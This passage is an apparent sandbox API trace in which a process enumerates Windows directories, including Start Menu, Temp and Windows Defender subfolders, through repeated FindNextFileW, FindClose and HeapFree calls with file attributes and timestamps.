	[0183.485] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0
	[0183.485] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0183.485] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.485] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0183.486] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.486] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1
	[0183.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.487] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1
	[0183.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.487] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1
	[0183.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.487] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2eda1a5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1
	[0183.488] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.488] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96fe9bef, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x6e749736, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x31c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0183.489] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.489] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1
	[0183.490] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.490] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1
	[0183.491] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.491] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x496f62c5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x496f62c5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x496f62c5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MiracastView.lnk", cAlternateFileName="")) returned 1
	[0183.492] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.492] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1
	[0183.492] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.492] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc24e8184, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1
	[0183.492] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.492] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc307c637, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc307c637, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc307c637, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1
	[0183.492] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.493] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0
	[0183.493] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0183.494] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.494] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc252d1d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Start Menu Places", cAlternateFileName="STARTM~2")) returned 1
	[0183.494] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.494] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe349c49, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xbe349c49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbe349c49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemData", cAlternateFileName="SYSTEM~1")) returned 1
	[0183.494] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.495] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0183.500] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.501] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d22c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WER", cAlternateFileName="")) returned 1
	[0183.501] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.501] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d33b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 1
	[0183.501] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.501] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x56c668bc, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0xd3073804, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0183.501] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.501] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x56c668bc, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0xd3073804, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
	[0183.501] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0183.501] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.501] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wfp", cAlternateFileName="")) returned 1
	[0183.502] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.502] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wfp", cAlternateFileName="")) returned 0
	[0183.502] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0183.502] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.502] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0183.503] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.503] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1
	[0183.505] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.505] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
	[0183.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.509] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1
	[0183.509] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.509] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1
	[0183.510] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.510] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 0
	[0183.510] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0183.510] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.511] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Features", cAlternateFileName="")) returned 1
	[0183.643] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.643] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1
	[0183.655] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.667] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Network Inspection System", cAlternateFileName="NETWOR~1")) returned 1
	[0183.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.668] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Platform", cAlternateFileName="")) returned 1
	[0183.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.668] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1
	[0183.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.668] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26ff45d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x16ca3b2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Scans", cAlternateFileName="")) returned 1
	[0183.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.668] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Support", cAlternateFileName="")) returned 1
	[0183.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.668] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Support", cAlternateFileName="")) returned 0
	[0183.668] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0183.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.670] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0183.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
